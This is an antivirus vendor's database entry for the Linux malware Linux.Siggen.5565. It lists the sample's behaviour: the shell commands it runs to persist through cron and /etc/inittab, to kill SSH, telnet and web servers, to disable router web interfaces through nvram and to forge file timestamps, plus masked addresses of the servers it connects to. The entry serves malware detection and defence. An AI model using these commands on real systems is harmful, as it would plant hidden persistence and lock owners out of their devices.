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Linux.Siggen.5565
Added to the Dr.Web virus database:
2023-08-10
Virus description added:
2023-08-10
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
/etc/inittab
Malicious functions:
Launches processes:
crontab /var/run/.x00740882966
rm -rf /etc/inittab2
nvram set http_enable=0 > /dev/null 2>&1
cat /etc/inittab2 > /etc/inittab
killall -9 dropbear > /dev/null 2>&1 &
cat /etc/inittab
service sshd stop > /dev/null 2>&1 &
grep -v lesshts/run.sh
echo \x220:2345:respawn:<SAMPLE_FULL_PATH>\x22 >> /etc/inittab2
killall -9 telnetd > /dev/null 2>&1 &
cat /var/run/thttpd.pid
killall -9 minihttpd > /dev/null 2>&1 &
cat /var/run/httpd.pid
grep -v no cron
service httpd stop > /dev/null 2>&1 &
nvram set httpd_enable=0 > /dev/null 2>&1
cat /etc/inittab | grep -v \x22<SAMPLE_FULL_PATH>\x22 > /etc/inittab2
rm -rf /var/run/.x00740882966
touch -acmr /bin/ls /etc/inittab
echo \x22* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\x22 >> /var/run/.x00740882966
(crontab -l | grep -v \x22<SAMPLE_FULL_PATH>\x22 | grep -v \x22no cron\x22 | grep -v \x22lesshts/run.sh\x22 > /var/run/.x00740882966) > /dev/null 2>&1
kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &
/bin/uname -n
grep -v <SAMPLE_FULL_PATH>
kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &
killall -9 sshd > /dev/null 2>&1 &
cat /etc/inittab2
killall -9 utelnetd > /dev/null 2>&1 &
killall -9 httpd > /dev/null 2>&1 &
killall -9 lighttpd > /dev/null 2>&1 &
crontab -l
killall -9 mini_httpd > /dev/null 2>&1 &
touch -acmr /bin/ls <SAMPLE_FULL_PATH>
service telnetd stop > /dev/null 2>&1 &
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.MGE4UE
Creates or modifies files:
/run/.x00740882966
/var/spool/cron/crontabs/tmp.MGE4UE
/etc/inittab2
Deletes files:
/.x00740882966
/etc/inittab2
Changes time of creation/access/modification of files:
<SAMPLE_FULL_PATH>
/var/spool/cron/crontabs
/etc/inittab
Network activity:
Awaits incoming connections on ports:
Establishes connection:
10#.#.46.2:8080
19#.##.172.42:8080
19#.##.125.38:8080
66.##2.9.3:8080
Sends data to the following servers:
Receives data from the following servers:
Curing recommendations
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